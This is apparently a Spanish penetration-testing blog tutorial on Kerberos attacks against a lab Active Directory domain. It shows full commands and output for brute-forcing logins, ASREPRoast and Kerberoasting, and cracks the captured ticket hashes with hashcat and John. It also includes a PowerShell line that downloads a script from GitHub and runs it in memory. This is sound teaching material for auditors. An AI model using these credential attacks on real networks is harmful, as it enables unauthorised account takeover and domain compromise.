cabecera blog BlackArrow

Kerberos (II): ¿Como atacar Kerberos?

Introducción a los ataques de kerberos

En este artículo de Kerberos, se mostraran algunos ataques contra el protocolo. En caso de necesitar refrescar los conceptos en que se basan estos ataques, se recomienda leer primero la primera parte sobre teoría de Kerberos.

El post se divide en una sección por ataque:

  • Kerberos brute-force
  • ASREPRoast
  • Kerberoasting
  • Pass the key
  • Pass the ticket
  • Silver ticket
  • Golden ticket

Los ataques están ordenados por el nivel de privilegios necesarios para realizarlos, de manera ascendiente. De este modo, para llevar a cabo los primeros ataques solo hace falta tener conectividad con el DC (Domain Controller), que en el caso de AD (Active Directory) es también el KDC (Key Distribution Center). Sin embargo, el último de los ataques requiere que se posean privilegios de Domain Administrator o similares.

Como añadido, cada ataque se mostrará desde la perspectiva de 2 escenarios comunes:

  • Máquina Linux: Desde un ordenador externo al dominio, controlado por el auditor (Kali en este caso), pero que tiene visibilidad del DC (no importa si es directa, o a través de VPN o un proxy Socks). En este caso hay que asegurarse de que la máquina tenga la hora sincronizada con el DC.
  • Máquina Windows: Desde un ordenador Windows de dominio que haya sido comprometido, con una cuenta de dominio en caso de ser necesaria, pero sin ningún tipo de privilegios, ni locales ni de dominio.

Los ataques se mostrarán de esta forma debido a que, aunque existen bastantes publicaciones que cubre parte de un escenario, en esta ocasión el objetivo es presentar una guía que cubra el mayor número de posibilidades distintas. En cualquier caso, se puede dejar un comentario en caso de que algún concepto no se explique completamente o genere confusión.

Herramientas

Antes de nada se presentaran las herramientas principales que se utilizarán a lo largo de este artículo:

  • Los ejemplos de Impacket se utilizaran para realizar los ataques de Kerberos desde Linux, donde python se encuentra instalado.
  • Mimikatz, para los ataques desde Windows.
  • Rubeus, para los ataques desde Windows (se necesita tener instalado Redistributable 3.5)
  • PsExec, para ejecutar comandos de manera remota en Windows.

Se mostrarán algunas herramientas más que se irán presentando en sus respectivas secciones. Por otro lado, se ha creado una cheatsheet de ataques de Kerberos para obtener rápidamente los comandos necesarios para realizar cada uno de los ataques.

Y ahora, vamos a lo interesante.

Fuerza bruta en Kerberos

En primer lugar, ya que Kerberos es un protocolo de autenticación, es posible realizar ataques de fuerza bruta contra el mismo. Además, este ataque presenta una serie de ventajas frente a su ejecución contra otros protocolos. Entre ellas se encuentran las siguientes:

  • No se necesita cuenta de dominio para realizar el ataque, solo visibilidad del KDC.
  • Los errores de pre-autenticación de Kerberos no se registran como un evento normal de fallo de login (Logon failure) (4625), sino como un evento específico de fallo de pre-autenticación de Kerberos (Kerberos pre-authentication failure) (4771).
  • Kerberos indica si el usuario es correcto o no, incluso cuando la contraseña es errónea. En caso de un ataque a ciegas sin conocer el nombre de los usuarios esto supone una ventaja enorme.
  • Durante el ataque, se pueden también descubrir cuentas de usuario que no requieran pre-autenticación, que se pueden utilizar para llevar a cabo un ataque ASREPRoast.

No obstante, se debe ser cuidadoso ya que al ejecutar un ataque de fuerza bruta es posible bloquear cuentas de usuario del dominio objetivo.

Desde Linux

Se puede utilizar el script kerbrute.py para realizar un ataque de fuerza bruta sobre Kerberos desde una máquina Linux:

root@kali:kerbrute# python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation

[*] Valid user => triceratops
[*] Valid user => velociraptor [NOT PREAUTH]
[*] Valid user => trex
[*] Blocked/Disabled user => trex
[*] Stupendous => velociraptor:Sm4rtSp33d
[*] Saved TGT in velociraptor.ccache
[*] Saved discovered passwords in jurassic_passwords.txt

Una vez finalizado el ataque, se genera un fichero donde se almacenan las credenciales descubiertas. Además, también se almacenan los TGTs descubiertos para su uso futuro.

Desde Windows

En el caso de Windows, es posible usar el módulo brute de Rubeus (disponible en un fork de Zer1t0) para lanzar un ataque de fuerza bruta de la siguiente manera:

PS C:Usersuser01> .Rubeus.exe brute /users:users.txt /passwords:passwords.txt /domain:jurassic.park /outfile:jurassic_passwords.txt

   ______        _
  (_____       | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ | ___ | | | |/___)
  | |   | |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.4.2

[+] Valid user => velociraptor
[+] Valid user => trex
[+] Valid user => triceratops
[+] STUPENDOUS => triceratops:Sh4rpH0rns
[*] Saved TGT into triceratops.kirbi

Del mismo modo que acontece en el escenario de Linux, se guardan las credenciales descubiertas junto con los tickets generados.

ASREPRoast

El ataque ASREPRoast se basa en encontrar usuarios que no requieren pre-autenticación de Kerberos. Lo cual significa que cualquiera puede enviar una petición AS_REQ en nombre de uno de esos usuarios y recibir un mensaje AS_REP correcto. Esta respuesta contiene un pedazo del mensaje cifrado con la clave del usuario, que se obtiene de su contraseña. Por lo tanto, este mensaje se puede tratar de crackear offline para obtener las credenciales de dicho usuario. Para más detalles se puede consultar la teoría de Kerberos.

Por otra parte, aunque no es necesaria ninguna cuenta de dominio para llevar a cabo el ataque, en caso de disponer de ella, se podrían obtener los usuarios que no necesitan pre-autenticación con una consulta LDAP, que de otro modo tendrían que ser adivinados.

Para obtener los usuarios que no necesitan pre-autenticación de Kerberos, se puede utilizar el siguiente filtro de LDAP: (&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)). El parámetro samAccountType permite obtener solamente las cuentas de usuarios, sin incluir las de máquinas. Y userAccountControl selecciona solamente aquellas cuentas que no requieren pre-autenticación.

Desde Linux

Se puede utilizar el script GetNPUsers.py de impacket para recolectar mensajes AS_REP sin pre-autenticación desde una máquina Linux. Los siguientes comandos permiten utilizar una lista de usuarios o dadas una credenciales, realizar una consulta LDAP para obtener usuarios sobre los que realizar el ataque:

root@kali:impacket-examples# python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation

[-] User trex doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User triceratops doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
root@kali:impacket-examples# cat hashes.asreproast 
$krb5asrep$23$velociraptor@JURASSIC.PARK:7c2e70d3d46b4794b9549bba5c6b728e$599da4e9b7823dbc8432c188c0cf14151df3530601ad57ee0bc2730e0f10d3f1552b3552cee9431cf3f1b119d099d3cead7ea38bc29d5d83074035a2e1d7de5fa17c9925c75aac2717f49baae54958ec289301a1c23ca2ec1c5b5be4a495215d42e9cbb2feb8b7f58fb28151ac6ecb0684c27f14ecc35835aecc3eec1ec3056d831dd518f35103fd970f6d082da0ebaf51775afa8777f783898a1fa2cea7493767024ab3688ec4fe00e3d08a7fb20a32c2abf8bdf66c9c42f49576ae9671400be01b6156b4677be4c79d807ba61f4703d9acda0e66befc5b442660ac638983680ffa3ada7eacabad0841c9aee586
root@kali:impacket-examples# python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation

Name          MemberOf                                       PasswordLastSet      LastLogon            UAC      
------------  ---------------------------------------------  -------------------  -------------------  --------
velociraptor  CN=Domain Admins,CN=Users,DC=jurassic,DC=park  2019-02-27 17:12:12  2019-03-18 11:44:04  0x410200 



root@kali:impacket-examples# cat hashes.asreproast 
$krb5asrep$23$velociraptor@JURASSIC.PARK:6602e01d59b4eeba815ab467194a9de4$b13a0e139b1daa46a457b3fa948c22cbbaad75a94c2b37064d757185d171c258e290210339d950b9245de6fa40a335986146a8c71c0b60f633b4c040141460a0a91737670f21caae6261ebde0151c06adceac22bfed84cb8c1f07948fb8e75b8a1d64c768c9e3f3a50d035ec03df643ea185648406b634b6fd673028e6e90ea429f57f9229b00f47f2bba2cdb7297d29b9f97a83d07c89dee7ea673340f64c443a213d5b9bbed969a68ca7a0ea41245b0fa985f64261803488b61821fbaedf43d50ea16075b2379bb354e4001d73dfd19cc8787b4bcd2bd9b542e0e2b1218ee8c16699c134ae5ec587afe0fd1880

Tras finalizar la ejecución, el script genera un fichero de salida con los mensajes AS_REP encodeados para crackear utilizando Hashcat o John.

Desde Windows

Se puede usar Rubeus para llevar a cabo este ataque desde un máquina Windows. El siguiente comando genera un fichero con los mensajes AS_REP de los usuarios afectados:

C:Userstriceratops>.Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast

   ______        _
  (_____       | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ | ___ | | | |/___)
  | |   | |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.3.3

[*] Action: AS-REP roasting

[*] Using domain controller: Lab-WDC01.jurassic.park (10.200.220.2)
[*] Building AS-REQ (w/o preauth) for: 'jurassic.parkvelociraptor'
[*] Connecting to 10.200.220.2:88
[*] Sent 170 bytes
[*] Received 1423 bytes
[+] AS-REQ w/o preauth successful!
[*] Hash written to C:Userstriceratopshashes.asreproast

[*] Roasted hashes written to : C:Userstriceratopshashes.asreproast

C:Userstriceratops>type hashes.asreproast
$krb5asrep$23$velociraptor@jurassic.park:BBEC05D876E5133F5AB0CEDA07572FE0$4A826CD2123EBC266179A9009E867EAAC03D1C8C9880ACF76DCA4B5919F967E86DBB6CD475DA8EF5C83B1B8388D22DA005BA10D5CB4D10F3C3F44C918ACD5843660C4FF5C678E635F7751A109524D693DB29BF75A5F0995B41CD35600B969FE371F77AD13F48604DFAB87253D324E8F53C267A2299D2450245D317D319A4FD424B42F815B79E2DD16C58AB2A2C106EB6995AFF70C8E889D8F170B35E78993157B3B3D13DCCE18A720BC5810C474CBC95C07B5FFCEE5EE06442FDB6244C33EECA4BFCD4F6C051A5F00C40A837A9644ADA70A381A85089F05CFB5E5F03AB0C7525BBA6AEAF9DA3554D3D700DD54760

Una vez ejecutado, Rubeus genera un fichero con un AS_REP por línea. Se puede utilizar utilizar este fichero para crackear con Hashat o John.

Crackeando el AS_REP

Para crackear los mensajes AS_REP, se pueden utilizar Hashcat o John. En este caso se ejecuta un ataque de diccionario, pero se pueden aplicar varias técnicas diferentes.

Comando de Hashcat:

root@kali:impacket-examples# hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt 
hashcat (v5.1.0) starting...

OpenCL Platform #1: The pocl project
====================================
* Device #1: pthread-Intel(R) Core(TM) i5-4210H CPU @ 2.90GHz, 2961/2961 MB allocatable, 2MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

ATTENTION! Pure (unoptimized) OpenCL kernels selected.
This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance.
If you want to switch to optimized OpenCL kernels, append -O to your commandline.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

* Device #1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/OpenCL -D LOCAL_MEM_TYPE=2 -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=4 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D DGST_ELEM=4 -D KERN_TYPE=18200 -D _unroll'
Dictionary cache hit:
* Filename..: passwords_kerb.txt
* Passwords.: 3
* Bytes.....: 25
* Keyspace..: 3

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.  

$krb5asrep$23$velociraptor@jurassic.park:bbec05d876e5133f5ab0ceda07572fe0$4a826cd2123ebc266179a9009e867eaac03d1c8c9880acf76dca4b5919f967e86dbb6cd475da8ef5c83b1b8388d22da005ba10d5cb4d10f3c3f44c918acd5843660c4ff5c678e635f7751a109524d693db29bf75a5f0995b41cd35600b969fe371f77ad13f48604dfab87253d324e8f53c267a2299d2450245d317d319a4fd424b42f815b79e2dd16c58ab2a2c106eb6995aff70c8e889d8f170b35e78993157b3b3d13dcce18a720bc5810c474cbc95c07b5ffcee5ee06442fdb6244c33eeca4bfcd4f6c051a5f00c40a837a9644ada70a381a85089f05cfb5e5f03ab0c7525bba6aeaf9da3554d3d700dd54760:Sm4rtSp33d
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Type........: Kerberos 5 AS-REP etype 23
Hash.Target......: $krb5asrep$23$velociraptor@jurassic.park:bbec05d876...d54760
Time.Started.....: Tue Mar  5 11:15:47 2019 (1 sec)
Time.Estimated...: Tue Mar  5 11:15:48 2019 (0 secs)
Guess.Base.......: File (passwords_kerb.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:        4 H/s (0.18ms) @ Accel:64 Loops:1 Thr:64 Vec:4
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 3/3 (100.00%)
Rejected.........: 0/3 (0.00%)
Restore.Point....: 0/3 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: above1 -> below1

Started: Tue Mar  5 11:12:26 2019
Stopped: Tue Mar  5 11:15:48 2019

Comando de John:

root@kali:kali# john --wordlist=passwords_kerb.txt hashes.asreproast
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 1 candidates left, minimum 16 needed for performance.
Sm4rtSp33d       ($krb5asrep$velociraptor@jurassic.park)
1g 0:00:00:00 DONE (2019-03-07 17:16) 20.00g/s 20.00p/s 20.00c/s 20.00C/s Sm4rtSp33d
Use the "--show" option to display all of the cracked passwords reliably
Session completed

En este caso la suerte nos sonríe, ya que la contraseña se encontraba en el diccionario.

Kerberoasting

El objetivo del Kerberoasting es recolectar TGS’s para aquellos servicios que corren en el contexto de un usuario del dominio, no de cuentas de máquinas. De este modo, ya que los TGS’s incluyen un pedazo de datos cifrado con una clave derivada de la contraseña de dichos usuarios, estas pueden ser crackeadas offline cuando se obtienen dichos tickets. Es posible encontrar más detalles en la teoría de Kerberos.

Por lo tanto, para llevar a cabo este ataque, se necesita solamente de una cuenta de dominio, sin ningún privilegio especial.

Para obtener las cuentas de usuario que tienen servicios asociados, se puede utilizar el siguiente filtro LDAP: (&(samAccountType=805306368)(servicePrincipalName=*)). El parámetro samAccountType permite eliminar las cuentas de máquinas de la consulta, y servicePrincipalName=* devuelve cuentas con al menos un servicio asociado.

Desde Linux

Con una máquina Linux, se pueden obtener todos los TGS’s utilizando el script GetUserSPNs.py de impacket. Con el siguiente comando se puede llevar a cabo el ataque y salvar los TGS’s descubiertos:

root@kali:impacket-examples# python GetUserSPNs.py jurassic.park/triceratops:Sh4rpH0rns -outputfile hashes.kerberoast
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation

ServicePrincipalName  Name          MemberOf  PasswordLastSet      LastLogon           
--------------------  ------------  --------  -------------------  -------------------
cloner/labwws02       velociraptor            2019-02-27 17:12:12  2019-03-05 09:35:27 



root@kali:impacket-examples# cat hashes.kerberoast 
$krb5tgs$23$*velociraptor$JURASSIC.PARK$cloner/labwws02*$b127187aceb93774a985bb1e528da85c$75cc3037a244f3422d6129bba79f79c67e79aca81b0b7dd551019424005abcfb8e232600fa968de2dcc9f10a44d13c17ac2be66bbb2640187dc174d81d9ebad0d691b36b3cbf4ca457678861748e2ab950f3066e0f50489415b934e4f6a2f2b7d8845cfd6a74279bad50da8c363174a07e51cbf39a2dd88bd74f1c839373cd9370ec1e2b7ebc5d6d05d49d34a75925d5983ab4849e211e57e93666f1fe9663b53620d2710e15f2c70837a4983db19c345b93f790244899b847d186197c37e966fc239ec750f91bd317fc2388ca421895052e2d57f742ab45c59275e95dfbb855ff11e5e893631164f6053ca0a6162c6b1be3ccdeb7fe2ce3a8634411b2b16ef03f558a5e0156bb8270ece6cf6b516af8172aa6071904d493c6fdf91738781371b68dfd9b4e1c2d6bcef3d665504194a703b08615d1b9c57ac794c37ab44dc2d57dff9677b0168aa7c078b190dddb2091ab63ca85868944cdbb4229a7a291028f193f94cb5c9a43c55b006cdd35df241b49d5464d3c05d5b7ec9eecd843335e45642892333b9760d06bc445d02558c2c30a2648a1018bc8493b8f73a6b0c07ffd052434239f0463b2344363656d6b6640efdc3e10fab04b99fc1f1487942c2b2c9ca7e89447aab3b1fb5adcb4b820d842a2ec713b788358e5c14d8ac3f0070058e6453297d4fb9538680ab152ce4ed3168cc6a58cc1c753b15d5de7fb98132ac3eec602ad611e8e03ed1c00c2bfa3b5bec1ea93f24b68b54fe48726f4e650dba34b3c4696b5f5e743cb5ace4b9b073dc718070d06e8f872abef2d4040350cd9e09091da47ab2fcef2e0d873afdcb9d7cf2236131f312d4e23004eb598efa064b871af82e618c31a2e82d28bc635ac3cbd000d725dd53217fb484178de3cd9bf4d20819c30c189ccc2ae349a333b628c6d41d01163b918def5ba089ac2cc6ff673dd64e1c2fef25fb599e009c1eca8e9e06cebc61fb0e7fc6922bc3edbdc60dd85a3f5b7412e8e46db80b55f577cc682892e66987a0e920872292a5cdd0f1a11fcc294461ccf86a53e75c9c8b0f9688919b4484986b7bcfb7612b117f98f5b0f4bf44ef0ad07245883ced1045b215a137d50a54f45a67168e6bed3dcb41f25b8ac307a4f3923d1545f0f6f1593db0a8b3032a3837b5c1715656e73c3ba0102e76dbbf47388bb5d1c334fc50598a57914a77c4c11059fe1b07b6342286ec2f6f38e7a5a946f40b7de01707f9681228904cb04434063c3dc7a6d26f301664514551ee20b69eb76d2a3f8fbc45b0d9cf9d236f8ac880c75b140dc471e6044b1c85af0e26393e057c5357f8ef223e845676e963eba6540d2cbee90cbb6d2422e9b1e34e6b2989a752c09b86d302219a45cd219f3fdf243f9b5c7002997daeff03f7cd437

Una vez finalizado, se genera un fichero con un TGS por línea, que se puede utilizar en Hashcat o John para tratar de obtener las credenciales de los usuarios.

Desde Windows

Del mismo modo, se puede realizar el ataque de Kerberoasting desde Windows con varias herramientas como Rubeus o el script Invoke-Kerberoast del proyecto Empire. En este caso, se ejecutan las herramientas desde la sesión de un usuario del dominio. Los comandos son los siguientes:

C:Userstriceratops>.Rubeus.exe kerberoast /outfile:hashes.kerberoast

   ______        _
  (_____       | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ | ___ | | | |/___)
  | |   | |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.3.3

[*] Action: Kerberoasting

[*] SamAccountName         : velociraptor
[*] DistinguishedName      : CN=velociraptor,OU=Usuarios,DC=jurassic,DC=park
[*] ServicePrincipalName   : cloner/labwws02
[*] Hash written to C:Userstriceratopshashes.kerberoast

[*] Roasted hashes written to : C:Userstriceratopshashes.kerberoast

C:Userstriceratops>type hashes.kerberoast
$krb5tgs$23$*$jurassic.park$cloner/labwws02*$60B2E176B7A641FD663BF1B8D0B6E106$069B2ACA38B73BFCAC56526DBAEF743F4981980CD213DD9FE7D41D3AB3F3E521273C70D9CA681319F690C5BFAE627B423D3FBAD20D7EDE8E1AF930B5AEFCC2657B4A8B0BD5DCD9B51560E78478A9A7616C0CB675FDC501828CCE58206542D48D48B4A1DCE61BDCB9705094DE1D16536526E04E5AE84567407DA665868E33DB26CD763DCEBDD8F6801494A9F6E3ADE8F63C7D197D1AE66345A9635FE5E7C2D35A9DC4885DD2C6699CE8C00D71B518DC6BA8B87F525AEC635881245F20E7ECE150B4D4223C19960AFF417FB4C053EA6FA3B86938FCA1F1A781E3F36FAB9EE8909422CCE440453F0E3A2D23DED7861BA919BC8567C6DC1F77817F1E44181783EC3BA76CF688A841FBD6F9B02B2BD2D4A22BB489808F04CAAA87D025812EF11B39FEC605485EB875D57F4D09623B3108638816E6D2DB81F280635B29FD4BD08A9C8AAE72571B61E81274C56DCAB8AE13C2EEFA3AF2DD4084A96CA84F336987CD765C2D23FB957EE378136ED42BBFDE1DE8361BF933B51370D7AF07A3A939C3FEEC62ADC4A884EE52A296DEF9402F732D57F04FB93FC296B8F5031FA852403D6AE7211648693C4CD0C47847C07E869D1FB41B627B1928EC929409EEE0B1CE67BB55CEA069A26809E8347A3BEA34AB9EC4F78051D40CCD9AB1C5AF655165F86E0185B72E01643854710E322A2722BDEAABA317A1ECD78096E3D5A51831A57F505B861AEEB9B2207CA2D7FBCE47847C3D3A1CB9D5C2B931BC532B220434550D83A82F63B26B918E189C38D7D979AC05D34043ECEDCA09CEFDB3065A8BE2717E84FC325373A7B778AA4325D7F0458AC7A84196DA7752BEFE0ED9A0830ECB60BA4F3EC5F0A2FB3BA482DD9F947C8A667CCC54013C01D15E0AB41CC08A140389028461B16E38CCD85542F8B53E1AC4CB4E8F6CE2EFC9ECDABD6AED2716C17221791D620E333359B39A0D6720FD6167A2D03A74B4C7FD549EC9169AC3103A4EBD9BF8F5754EF013411802524A5F8DA6FE7FBCD219D2193891C9026513AEB751D6D3707253929F43F6A40012E2463002465F888E6F15C4CE264DB88650D503431A3D1FC58321ADB65F7BC69E2E95562A81FFE3A633BF4AC27B85CE2CB49A0EF19FDA1A51074B898D21B94FA91F7092BE9B22BDFBA09829FC1B95187AE8CB2BBAB3C1E3ECF5835723C2858862A0BEF32001AC461C0FE496029B3E7E6827E0991F6CF3F6D658F4AA8DDDDC097CC2B12038DF8112833DA052D0ED2D42D2FD93DA13FFEE3831F57956DFF6FA0C9E573862B1D4F2AC3344F7320F1FBCB5F9773EEE0F091829052CC5F31CECBD0E468914C70B9F03CA056A53E449AE85734B1C43D57FEEFC5576672C82D47F14A168E9A2FFDE715955B2749A01DE174CB32C4D8F7477A087E717379D9599E50997D8619D8F1F2DB268E5D89A9DA13E2B61C15E97159740766C4415B5F46C754A2C2C9500092BD1AF88F1C1C4D5DC4A4F5078F691148D448DBCD94549F74A2312921293427891DEF1C0754FA6AA3633141BE8D885703279C62EECE474A366FC9B8C8A4A5DAF98FF

Otra forma de llevar a cabo el ataque es con el script Invoke-Kerberoast del proyecto Empire, que puede ser cargado directamente en memoria:

PS C:Userstriceratops> iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
PS C:Userstriceratops> Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast

De la misma manera que Impacket, estas herramientas crean ficheros de salida que se pueden utilizar para crackear las credenciales con Hashcat o John.

Crackeando los TGS’s

En esta sección se mostraran ejemplos tanto de Hashcat como de John llevando a cabo el crackeo de los TGS’s. Se utilizará un ataque por diccionario, pero existen otras técnicas que también se podrían aplicar, como ataque de fuerza bruta o utilizando una máscara.

Comando de Hashcat:

root@kali:impacket-examples# hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt 
hashcat (v5.1.0) starting...

OpenCL Platform #1: The pocl project
====================================
* Device #1: pthread-Intel(R) Core(TM) i5-4210H CPU @ 2.90GHz, 2961/2961 MB allocatable, 2MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

ATTENTION! Pure (unoptimized) OpenCL kernels selected.
This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance.
If you want to switch to optimized OpenCL kernels, append -O to your commandline.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

* Device #1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/OpenCL -D LOCAL_MEM_TYPE=2 -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=4 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D DGST_ELEM=4 -D KERN_TYPE=13100 -D _unroll'
* Device #1: Kernel m13100_a0-pure.43809ab0.kernel not found in cache! Building may take a while...
Dictionary cache hit:
* Filename..: passwords_kerb.txt
* Passwords.: 3
* Bytes.....: 25
* Keyspace..: 3

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.  

$krb5tgs$23$*velociraptor$jurassic.park$cloner/labwws02*$60b2e176b7a641fd663bf1b8d0b6e106$069b2aca38b73bfcac56526dbaef743f4981980cd213dd9fe7d41d3ab3f3e521273c70d9ca681319f690c5bfae627b423d3fbad20d7ede8e1af930b5aefcc2657b4a8b0bd5dcd9b51560e78478a9a7616c0cb675fdc501828cce58206542d48d48b4a1dce61bdcb9705094de1d16536526e04e5ae84567407da665868e33db26cd763dcebdd8f6801494a9f6e3ade8f63c7d197d1ae66345a9635fe5e7c2d35a9dc4885dd2c6699ce8c00d71b518dc6ba8b87f525aec635881245f20e7ece150b4d4223c19960aff417fb4c053ea6fa3b86938fca1f1a781e3f36fab9ee8909422cce440453f0e3a2d23ded7861ba919bc8567c6dc1f77817f1e44181783ec3ba76cf688a841fbd6f9b02b2bd2d4a22bb489808f04caaa87d025812ef11b39fec605485eb875d57f4d09623b3108638816e6d2db81f280635b29fd4bd08a9c8aae72571b61e81274c56dcab8ae13c2eefa3af2dd4084a96ca84f336987cd765c2d23fb957ee378136ed42bbfde1de8361bf933b51370d7af07a3a939c3feec62adc4a884ee52a296def9402f732d57f04fb93fc296b8f5031fa852403d6ae7211648693c4cd0c47847c07e869d1fb41b627b1928ec929409eee0b1ce67bb55cea069a26809e8347a3bea34ab9ec4f78051d40ccd9ab1c5af655165f86e0185b72e01643854710e322a2722bdeaaba317a1ecd78096e3d5a51831a57f505b861aeeb9b2207ca2d7fbce47847c3d3a1cb9d5c2b931bc532b220434550d83a82f63b26b918e189c38d7d979ac05d34043ecedca09cefdb3065a8be2717e84fc325373a7b778aa4325d7f0458ac7a84196da7752befe0ed9a0830ecb60ba4f3ec5f0a2fb3ba482dd9f947c8a667ccc54013c01d15e0ab41cc08a140389028461b16e38ccd85542f8b53e1ac4cb4e8f6ce2efc9ecdabd6aed2716c17221791d620e333359b39a0d6720fd6167a2d03a74b4c7fd549ec9169ac3103a4ebd9bf8f5754ef013411802524a5f8da6fe7fbcd219d2193891c9026513aeb751d6d3707253929f43f6a40012e2463002465f888e6f15c4ce264db88650d503431a3d1fc58321adb65f7bc69e2e95562a81ffe3a633bf4ac27b85ce2cb49a0ef19fda1a51074b898d21b94fa91f7092be9b22bdfba09829fc1b95187ae8cb2bbab3c1e3ecf5835723c2858862a0bef32001ac461c0fe496029b3e7e6827e0991f6cf3f6d658f4aa8ddddc097cc2b12038df8112833da052d0ed2d42d2fd93da13ffee3831f57956dff6fa0c9e573862b1d4f2ac3344f7320f1fbcb5f9773eee0f091829052cc5f31cecbd0e468914c70b9f03ca056a53e449ae85734b1c43d57feefc5576672c82d47f14a168e9a2ffde715955b2749a01de174cb32c4d8f7477a087e717379d9599e50997d8619d8f1f2db268e5d89a9da13e2b61c15e97159740766c4415b5f46c754a2c2c9500092bd1af88f1c1c4d5dc4a4f5078f691148d448dbcd94549f74a2312921293427891def1c0754fa6aa3633141be8d885703279c62eece474a366fc9b8c8a4a5daf98ff:Sm4rtSp33d
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Type........: Kerberos 5 TGS-REP etype 23
Hash.Target......: $krb5tgs$23$*velociraptor$jurassic.park$cloner/labw...af98ff
Time.Started.....: Tue Mar  5 10:46:34 2019 (1 sec)
Time.Estimated...: Tue Mar  5 10:46:35 2019 (0 secs)
Guess.Base.......: File (passwords_kerb.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:        4 H/s (0.16ms) @ Accel:64 Loops:1 Thr:64 Vec:4
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 3/3 (100.00%)
Rejected.........: 0/3 (0.00%)
Restore.Point....: 0/3 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: above1 -> below1

Started: Tue Mar  5 10:42:51 2019
Stopped: Tue Mar  5 10:46:35 2019

Un problema que aconteció con Hashcat mientras se realizaban las pruebas. La herramienta mostró un mensaje de error que rezaba Byte Order Mark (BOM) was detected, debido a que el fichero de entrada tenía codificación Unicode (bastante común en ficheros de Windows), en vez de ASCII. Para resolver este problema se utilizó la herramienta dos2unix, que permite convertir un fichero en otro con la codificación correcta.

Comando de John:

root@kali:impacket-examples# john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Sm4rtSp33d       (?)
1g 0:00:00:00 DONE (2019-03-05 10:53) 50.00g/s 150.0p/s 150.0c/s 150.0C/s above1..below1
Use the "--show" option to display all of the cracked passwords reliably
Session completed

John en este caso no fue capaz de mostrar el nombre del usuario junto con la contraseña crackeada, enseñando en su lugar el símbolo (?). Aunque no pasa nada en el caso de tener solamente un TGS, podría ser bastante molesto en caso de crackear varios.

